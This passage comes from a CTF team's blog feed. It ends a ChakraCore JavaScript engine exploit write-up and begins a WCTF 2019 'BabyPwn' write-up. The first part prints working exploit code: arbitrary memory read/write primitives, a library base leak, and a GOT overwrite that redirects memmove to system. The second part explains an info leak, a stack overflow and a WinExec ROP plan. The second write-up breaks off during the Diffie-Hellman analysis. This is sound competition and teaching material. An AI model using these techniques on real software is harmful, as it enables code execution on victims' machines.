</span></span><span style="display:flex;"><span>    o.b = <span style="color:#d0bf69">1</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">let</span> temp = {__proto__: c};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    o.a = value;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">function</span> main() {
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> (<span style="color:#fc5fa3">let</span> i = <span style="color:#d0bf69">0</span>; i &lt; <span style="color:#d0bf69">2000</span>; i++) {
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">let</span> o = {a: <span style="color:#d0bf69">1</span>, b: <span style="color:#d0bf69">2</span>};
</span></span><span style="display:flex;"><span>        opt(o, {}, {});
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">let</span> o = {a: <span style="color:#d0bf69">1</span>, b: <span style="color:#d0bf69">2</span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    opt(o, o, obj); <span style="color:#6c7986">// o-&gt;auxSlots = obj (Step 1)
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986">/*
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986">      chqmatteo: so we set o.c but it can be any name you want,
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986">      it&#39;s just the third property of o
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986">      so it will get written to o-&gt;auxSlots[2]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986">      similary obj.h is the 8th property of obj so we will write to obj-&gt;auxSlots[7]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986">      and buffer is at that offset
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986">     */</span>
</span></span><span style="display:flex;"><span>    o.c = dv1; <span style="color:#6c7986">// obj-&gt;auxSlots = dv1 (Step 2)
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>    obj.h = dv2; <span style="color:#6c7986">// dv1-&gt;buffer = dv2 (Step 3)
</span></span></span></code></pre></div><h2 id="arbitrary-address-read-and-write">Arbitrary address read and write</h2>
<p>Here we set <code>dv1-&gt;buffer</code> to any address that we need</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>    <span style="color:#fc5fa3">let</span> read64 = <span style="color:#fc5fa3">function</span>(addr_lo, addr_hi) {
</span></span><span style="display:flex;"><span>        <span style="color:#6c7986">// dv2-&gt;buffer = addr (Step 4)
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>        <span style="color:#6c7986">// chqmatteo: 0x38 = 7 * 8, we are writing at ((void*)dv1-&gt;buffer)[7] which is dv2-&gt;buffer
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>        dv1.setUint32(<span style="color:#d0bf69">0x38</span>, addr_lo, <span style="color:#fc5fa3">true</span>);
</span></span><span style="display:flex;"><span>        dv1.setUint32(<span style="color:#d0bf69">0x3C</span>, addr_hi, <span style="color:#fc5fa3">true</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#6c7986">// read from addr (Step 5)
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>        <span style="color:#fc5fa3">return</span> dv2.getInt32(<span style="color:#d0bf69">0</span>, <span style="color:#fc5fa3">true</span>) + dv2.getInt32(<span style="color:#d0bf69">4</span>, <span style="color:#fc5fa3">true</span>) * BASE;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">let</span> read3232 = <span style="color:#fc5fa3">function</span>(addr_lo, addr_hi) {
</span></span><span style="display:flex;"><span>        <span style="color:#6c7986">// dv2-&gt;buffer = addr (Step 4)
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>        dv1.setUint32(<span style="color:#d0bf69">0x38</span>, addr_lo, <span style="color:#fc5fa3">true</span>);
</span></span><span style="display:flex;"><span>        dv1.setUint32(<span style="color:#d0bf69">0x3C</span>, addr_hi, <span style="color:#fc5fa3">true</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#6c7986">// read from addr (Step 5)
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>        <span style="color:#fc5fa3">return</span> [dv2.getInt32(<span style="color:#d0bf69">0</span>, <span style="color:#fc5fa3">true</span>), dv2.getInt32(<span style="color:#d0bf69">4</span>, <span style="color:#fc5fa3">true</span>)];
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">let</span> write64 = <span style="color:#fc5fa3">function</span>(addr_lo, addr_hi, value_lo, value_hi) {
</span></span><span style="display:flex;"><span>        <span style="color:#6c7986">// dv2-&gt;buffer = addr (Step 4)
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>        dv1.setUint32(<span style="color:#d0bf69">0x38</span>, addr_lo, <span style="color:#fc5fa3">true</span>);
</span></span><span style="display:flex;"><span>        dv1.setUint32(<span style="color:#d0bf69">0x3C</span>, addr_hi, <span style="color:#fc5fa3">true</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#6c7986">// write to addr (Step 5)
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>        dv2.setInt32(<span style="color:#d0bf69">0</span>, value_lo, <span style="color:#fc5fa3">true</span>);
</span></span><span style="display:flex;"><span>        dv2.setInt32(<span style="color:#d0bf69">4</span>, value_hi, <span style="color:#fc5fa3">true</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986">// chqmatteo: the first value of the object is the pointer to the vtable
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>    vtable_lo = dv1.getUint32(<span style="color:#d0bf69">0</span>, <span style="color:#fc5fa3">true</span>);
</span></span><span style="display:flex;"><span>    vtable_hi = dv1.getUint32(<span style="color:#d0bf69">4</span>, <span style="color:#fc5fa3">true</span>);
</span></span><span style="display:flex;"><span>    print(hex(vtable_lo + vtable_hi * BASE));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986">// chqmatteo: demonstrate arbitrary read
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>    print(hex(read64(vtable_lo, vtable_hi)));
</span></span></code></pre></div><p>This is basically where Perception Point blog post ends</p>
<h2 id="code-execution">Code execution</h2>
<p>Now we can:</p>
<ol>
<li>read and write any address we want using from <code>dv2</code></li>
<li>plus we can read and write everything in the metadata of <code>dv2</code> using <code>dv1</code>.</li>
</ol>
<p>One thing that is useful from the metadata of <code>dv2</code> is the <code>vtable</code> pointer.</p>
<p>The <code>vtable</code> pointer points to an address inside libChakraCore.so.
That is we can compute the base address of the library leaking the vtable pointer and reading from that address.</p>
<p>One common technique to gain code execution from arbitrary write is to write the address of <code>system</code> or <code>one_gadget</code> into a got entry of the binary</p>
<p>From the base address of libChakraCore.so we can compute the address of the got section and from there we can leak the base address of libc</p>
<p>Since the got of libChakraCore.so is writable I tried with various offsets, but without success.</p>
<p>So after a couple of failed tries, I searched for how to trigger calls to standard library from a javascript context and found this writeup</p>
<p><a href="https://bruce30262.github.io/Chakrazy-exploiting-type-confusion-bug-in-ChakraCore/">https://bruce30262.github.io/Chakrazy-exploiting-type-confusion-bug-in-ChakraCore/</a></p>
<p>Looked for <code>got</code> in the writeup and found that you can trigger <code>memmove</code> with <code>some_array.set(other_array)</code></p>
<p>The nice thing of <code>memmove</code> is that the first argument is a string and is the destination buffer of the memory move, so we can control the first argument of system
So I overwrote the corresponding entry in got with the address of system.</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>    <span style="color:#6c7986">// compute some useful offsets, just try them all until it works
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>    <span style="color:#fc5fa3">let</span> gdb_base = <span style="color:#d0bf69">0xc3a52000</span>; <span style="color:#6c7986">// libChakraCore.so base addr in gdb
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">let</span> vptr_off = <span style="color:#d0bf69">0xc48566e0</span> - gdb_base;
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">let</span> chackra_base_lo = vtable_lo - vptr_off;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">let</span> malloc_got = <span style="color:#d0bf69">0xc48a56e0</span> - gdb_base;
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986">// write targets
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>    <span style="color:#fc5fa3">let</span> free_got = <span style="color:#d0bf69">0xc48a5128</span> - gdb_base
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">let</span> memmove = free_got - <span style="color:#d0bf69">0x128</span> + <span style="color:#d0bf69">0x108</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">let</span> memset = free_got - <span style="color:#d0bf69">0x128</span> + <span style="color:#d0bf69">0x248</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">let</span> one_gadget = <span style="color:#d0bf69">0x4f440</span>; <span style="color:#6c7986">// actually it&#39;s system because the one gadgets that I tried didn&#39;t work
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>
</span></span><span style="display:flex;"><span>    print(hex(chackra_base_lo + vtable_hi * BASE));
</span></span><span style="display:flex;"><span>    print(<span style="color:#fc6a5d">&#39;malloc and free&#39;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986">// get libc offsets to find libc version
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>    print(hex(read64(chackra_base_lo + malloc_got, vtable_hi)));
</span></span><span style="display:flex;"><span>    print(hex(read64(chackra_base_lo + free_got, vtable_hi)));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986">// read got to get libc base addr
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>    <span style="color:#fc5fa3">let</span> libc = read3232(chackra_base_lo + free_got, vtable_hi);
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">let</span> free_off = <span style="color:#d0bf69">0x8dbce950</span> - <span style="color:#d0bf69">0x8db37000</span> <span style="color:#6c7986">// lost the gdb session so new base addr
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>    <span style="color:#fc5fa3">let</span> libc_low = libc[<span style="color:#d0bf69">0</span>] - free_off;
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">let</span> libc_high = libc[<span style="color:#d0bf69">1</span>];
</span></span><span style="display:flex;"><span>    print(hex(libc_low + libc_high * BASE))
</span></span><span style="display:flex;"><span>    print(<span style="color:#fc6a5d">&#39;Writing on got&#39;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    write64(chackra_base_lo + memmove, vtable_hi, libc_low + one_gadget, libc_high);
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986">// write64(chackra_base_lo + memset, vtable_hi, libc_low + one_gadget, libc_high);
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>    print(<span style="color:#fc6a5d">&#39;there&#39;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986">// just a random size and name, you can put different values if you want
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>    <span style="color:#fc5fa3">let</span> ab = <span style="color:#fc5fa3">new</span> Uint8Array(<span style="color:#d0bf69">0x1020</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">let</span> ef = <span style="color:#fc5fa3">new</span> Uint8Array(<span style="color:#d0bf69">0x1020</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">let</span> cmd = <span style="color:#fc6a5d">&#39;cat flag&#39;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> (<span style="color:#fc5fa3">let</span> i = <span style="color:#d0bf69">0</span>; i &lt; <span style="color:#d0bf69">1000</span>; i++) {
</span></span><span style="display:flex;"><span>        ab[i] = <span style="color:#d0bf69">100</span> - i;
</span></span><span style="display:flex;"><span>        ef[i] = cmd.charCodeAt(i);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    ef[cmd.length] = <span style="color:#d0bf69">0</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986">// easier to spot in the debugger
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>    ab[<span style="color:#d0bf69">0</span>] = <span style="color:#d0bf69">0x41</span>
</span></span><span style="display:flex;"><span>    ab[<span style="color:#d0bf69">1</span>] = <span style="color:#d0bf69">0x41</span>
</span></span><span style="display:flex;"><span>    ab[<span style="color:#d0bf69">2</span>] = <span style="color:#d0bf69">0x41</span>
</span></span><span style="display:flex;"><span>    ab[<span style="color:#d0bf69">3</span>] = <span style="color:#d0bf69">0x41</span>
</span></span><span style="display:flex;"><span>    ab[<span style="color:#d0bf69">4</span>] = <span style="color:#d0bf69">0</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986">// triggers memmove when copying ef.buffer &lt;- ab.buffer
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>    ef.set(ab);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986">// write on *0x0, crash the binary, poor man&#39;s breakpoint
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>    write64(<span style="color:#d0bf69">0x0</span>, <span style="color:#d0bf69">0x0</span>, libc_low + one_gadget, libc_high);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>main();
</span></span></code></pre></div>]]></content></item><item><title>WCTF 2019 BabyPwn</title><link>https://theromanxpl0.it/posts/2019/07/wctf-2019-babypwn/</link><pubDate>Sat, 06 Jul 2019 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2019/07/wctf-2019-babypwn/</guid><description>&lt;p>We played WCTF 2019 as mhackeroni and we got 8th place with two almost finished challenges that we could not submit in time.&lt;/p>
&lt;p>We got first blood and the only solve on the BabyPwn challenge.&lt;/p>
&lt;p>We imagine that many teams were close to the solution and so we will explain our solution that surprisingly worked.&lt;/p>
&lt;p>Fun fact: we solved it at 4 a.m., after that the &amp;ldquo;a bit drunk man&amp;rdquo; Andrea returned early to home at 2 a.m. under the solicitation of &amp;ldquo;a bit competitive man&amp;rdquo; Matteo.&lt;/p></description><content type="html"><![CDATA[<p>We played WCTF 2019 as mhackeroni and we got 8th place with two almost finished challenges that we could not submit in time.</p>
<p>We got first blood and the only solve on the BabyPwn challenge.</p>
<p>We imagine that many teams were close to the solution and so we will explain our solution that surprisingly worked.</p>
<p>Fun fact: we solved it at 4 a.m., after that the &ldquo;a bit drunk man&rdquo; Andrea returned early to home at 2 a.m. under the solicitation of &ldquo;a bit competitive man&rdquo; Matteo.</p>
<h2 id="pwn-part">PWN part</h2>
<h3 id="reversing">Reversing</h3>
<p>The binary is a PE32 for Windows.
The main function is located at 0x12FB0, IDA does not recognize it but it can be easily recognized going backward using the XREFs from the strings.
After a bit of reverse engineering, all the functions corresponding to each functionality can be found.
Note that the MD5 hashing service is completely useless.
Diggin in the code a custom readline routine (0x12EA0) is used many times.
This is the decompiled code:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#fc5fa3">int</span> <span style="color:#fc5fa3">__cdecl</span> <span style="color:#41a1c0">readline</span>(<span style="color:#fc5fa3">char</span> *a1, <span style="color:#fc5fa3">int</span> size)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">int</span> result; <span style="color:#6c7986">// eax
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">int</span> i; <span style="color:#6c7986">// [esp+4Ch] [ebp-8h]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">char</span> v4; <span style="color:#6c7986">// [esp+50h] [ebp-4h]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">__maybe_cfg_shit__</span>((<span style="color:#fc5fa3">int</span>)&amp;unk_1D035);
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">for</span> ( i = <span style="color:#d0bf69">0</span>; ; ++i )
</span></span><span style="display:flex;"><span>  {
</span></span><span style="display:flex;"><span>    result = <span style="color:#41a1c0">getchar</span>();
</span></span><span style="display:flex;"><span>    v4 = result;
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> ( result == <span style="color:#fc6a5d">&#39;\n&#39;</span> )
</span></span><span style="display:flex;"><span>      <span style="color:#fc5fa3">break</span>;
</span></span><span style="display:flex;"><span>    result = i;
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> ( i &gt;= size )
</span></span><span style="display:flex;"><span>      <span style="color:#fc5fa3">break</span>;
</span></span><span style="display:flex;"><span>    a1[i] = v4;
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">return</span> result;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>As you can easily see this function is buggy, the NUL terminator is not placed.</p>
<p>Looking in the join routine we can see that this function reads the username and the password and the username is a global variable.</p>
<p>Let’s look at this snipped from such procedure:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>  <span style="color:#41a1c0">puts</span>(<span style="color:#fc6a5d">&#34;[2]Input user info&#34;</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">print</span>((<span style="color:#fc5fa3">int</span>)<span style="color:#fc6a5d">&#34;Username: &#34;</span>, v4);
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">j_readline</span>(username, <span style="color:#d0bf69">16</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">print</span>((<span style="color:#fc5fa3">int</span>)<span style="color:#fc6a5d">&#34;Password: &#34;</span>, v1);
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">j_readline</span>(password, <span style="color:#d0bf69">10</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">puts</span>(<span style="color:#fc6a5d">&#34;Message: &#34;</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">puts</span>(<span style="color:#fc6a5d">&#34;a.WCTF2019&#34;</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">puts</span>(<span style="color:#fc6a5d">&#34;b.CyKOR&#34;</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">print</span>((<span style="color:#fc5fa3">int</span>)<span style="color:#fc6a5d">&#34;&gt; &#34;</span>, v2);
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">j_readline</span>(&amp;a1, <span style="color:#d0bf69">1</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">if</span> ( a1 == <span style="color:#fc6a5d">&#39;a&#39;</span> )
</span></span><span style="display:flex;"><span>  {
</span></span><span style="display:flex;"><span>    useless_shit = (<span style="color:#fc5fa3">int</span>)<span style="color:#fc6a5d">&#34;WCTF2019&#34;</span>;
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">else</span>
</span></span><span style="display:flex;"><span>  {
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> ( a1 != <span style="color:#fc6a5d">&#39;b&#39;</span> )
</span></span><span style="display:flex;"><span>      <span style="color:#fc5fa3">return</span> <span style="color:#41a1c0">puts</span>(<span style="color:#fc6a5d">&#34;[!]Not available&#34;</span>);
</span></span><span style="display:flex;"><span>    useless_shit = (<span style="color:#fc5fa3">int</span>)<span style="color:#fc6a5d">&#34;CyKOR&#34;</span>;
</span></span><span style="display:flex;"><span>  }
</span></span></code></pre></div><p>You may also have noted the “useless_shit” shit, yeah this is a global variable just after username and it is placed to allow us to leak the binary base address.
Filling the username with “a”*16 and then printing the username we will have a leak of an address in the .rdata section of the binary. username is printed at the end of the login routine.</p>
<p>Now we have a leak, but how we can get EIP control? Not with this vulnerability for sure.</p>
<p>The next vulnerability is pretty clear, for a “babypwner”.
Look at the submit routine:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#fc5fa3">int</span> <span style="color:#41a1c0">submit</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">int</span> result; <span style="color:#6c7986">// eax
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">char</span> v1; <span style="color:#6c7986">// ST0C_1
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">char</span> v2; <span style="color:#6c7986">// [esp+0h] [ebp-5Ch]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">signed</span> <span style="color:#fc5fa3">int</span> i; <span style="color:#6c7986">// [esp+4Ch] [ebp-10h]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">char</span> Dst; <span style="color:#6c7986">// [esp+50h] [ebp-Ch]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">_theread_id_something__</span>((<span style="color:#fc5fa3">int</span>)&amp;xxx);
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">j_memset</span>(&amp;Dst, <span style="color:#d0bf69">0</span>, <span style="color:#d0bf69">10u</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">puts</span>(<span style="color:#fc6a5d">&#34;[*]Submit&#34;</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">puts</span>(<span style="color:#fc6a5d">&#34;Me: I think this draft is cool enough.&#34;</span>);
</span></span><span style="display:flex;"><span>  result = <span style="color:#41a1c0">puts</span>(<span style="color:#fc6a5d">&#34;Me: Let&#39;s submit this masterpiece.&#34;</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">if</span> ( dh_value_1 &amp;&amp; dh_value_2 &gt;= <span style="color:#d0bf69">32</span> )
</span></span><span style="display:flex;"><span>  {
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> ( i = <span style="color:#d0bf69">0</span>; i &lt; <span style="color:#d0bf69">32</span>; ++i )
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>      result = i + dh_value_1;
</span></span><span style="display:flex;"><span>      <span style="color:#fc5fa3">if</span> ( *(<span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">__int8</span> *)(i + dh_value_1) != i + <span style="color:#d0bf69">1</span> )
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">return</span> result;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#41a1c0">puts</span>(<span style="color:#fc6a5d">&#34;Validation complete.&#34;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#41a1c0">print</span>((<span style="color:#fc5fa3">int</span>)<span style="color:#fc6a5d">&#34;Student ID: &#34;</span>, v2);
</span></span><span style="display:flex;"><span>    <span style="color:#41a1c0">getchar</span>();
</span></span><span style="display:flex;"><span>    <span style="color:#41a1c0">j_readline</span>(&amp;Dst, <span style="color:#d0bf69">40</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#41a1c0">puts</span>(&amp;null_str);
</span></span><span style="display:flex;"><span>    result = <span style="color:#41a1c0">print</span>((<span style="color:#fc5fa3">int</span>)<span style="color:#fc6a5d">&#34;[+]Done!&#34;</span>, v1);
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">return</span> result;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The Dst buffer on the stack is only 10 bytes and readline is called with 40 bytes as size argument. This is a clear stack buffer overflow. But how we can trigger it? There is a check based on the values computed by the Diffie Hellman part that we didn’t have analyzed yet.
So we patch the check in the debugger and in our mind and we will return on it later.</p>
<h3 id="exploitation">Exploitation</h3>
<p>The offset from Dest to the return address if 16 bytes and so can insert a ropchain of 28 bytes. We divide the exploit in two different steps done in two execution of the program. Luckily, ASLR in Windows is done at boot and we can use the first connection to leak the kernel32.dll base address and it will be the same also for the next connection.</p>
<p>The first ropchain simply print the contents of an .idata entry associated to a routine in kernel32. We choose GetProcessHeap.
Note that we will not leak the address of GetProcessHeap but of the stub (always in kernel32) that jumps to GetProcessHeap.</p>
<p>In the second stage, we have only to exploit again the BOF in submit() and execute WinExec(“some command”, 0).
This requires only 16 bytes because we can insert the command as username (we know the address of the .data section of the binary) and use it as the first parameter for WinExec.</p>
<p>Returning to the missed part, the check based on Diffie Hellman was the real struggle of this cryptopwn.</p>
<h2 id="cryptography-part">Cryptography part</h2>
<h3 id="objective">Objective</h3>
<p>To exploit the BOF in function submit we have to pass a validation check</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>  <span style="color:#fc5fa3">if</span> ((SharedKey != <span style="color:#d0bf69">0</span>) &amp;&amp; (<span style="color:#d0bf69">0x1f</span> &lt; _authed)) {
</span></span><span style="display:flex;"><span>    i = <span style="color:#d0bf69">0</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">while</span> (i &lt; <span style="color:#d0bf69">0x20</span>) {
</span></span><span style="display:flex;"><span>      <span style="color:#fc5fa3">if</span> ((uint)*(byte *)(SharedKey + i) != i + <span style="color:#d0bf69">1U</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">return</span>;
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>      i = i + <span style="color:#d0bf69">1</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#41a1c0">puts</span>(<span style="color:#fc6a5d">&#34;Validation complete.&#34;</span>);
</span></span></code></pre></div><p>SharedKey is a global variable that is set if we conclude correctly the &ldquo;Diffie-hellman Key exchange&rdquo; (option 1 of the Main menu)</p>
<p>This check requires SharedKey to be equal to 0102030405060708091011121314151617181920212223242526272829303132 when hex encoded.</p>
<p>To do so we have to carefully choose the parameters of the DH key exchange.</p>
<h3 id="challenge-overview">Challenge overview</h3>
<p>In function dh_exchange at 0x00411ae0 we are asked for 3 hex-encoded values</p>
<pre tabindex="0"><code>p (in hexadecimal, length &lt;= 1000) :
q (in hexadecimal, length &lt;= 1000) :
g (in hexadecimal, 0x2 &lt;= g &lt;= 0x40 ) :
</code></pre><p>The three values are parsed and then passed to function key_exchange@0x00411f50</p>
<pre tabindex="0"><code>// function dh_exchange@0x00411ce1
...
  iVar1 = key_exchange(shared_secret,int_g,int_p,int_q);
  if (iVar1 == 0) {
    thunk_FUN_004124e0(&#34;DH key exchange failed.\n&#34;,unaff_DI);
    result = -1;
  }
  else {
    thunk_FUN_004124e0(&#34;DH key exchange succeeded!\n&#34;,unaff_DI);
….
</code></pre><p>If the exchange completes with success _authed and SharedKey will be set to come non zero value.</p>
<p>To at least complete the exchange, our parameters p, q, g need to satisfy some conditions:</p>
<ol>
<li>q must be at least 0x200 bits long</li>
<li>q must divide p - 1</li>
<li>p, q must be prime</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#6c7986">// function key_exchange@0x00411fc6
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>    <span style="color:#960050">…</span>.
</span></span><span style="display:flex;"><span>  q_bit_len_ge_200 = <span style="color:#41a1c0">__gmpz_sizeinbase</span>(q,<span style="color:#d0bf69">2</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">if</span> (q_bit_len_ge_200 &lt; <span style="color:#d0bf69">0x200</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> <span style="color:#d0bf69">0</span>;
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#960050">…</span>.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>p_min_1_mod_q = <span style="color:#41a1c0">__gmpz_divisible_p</span>(p_minus_1,q);
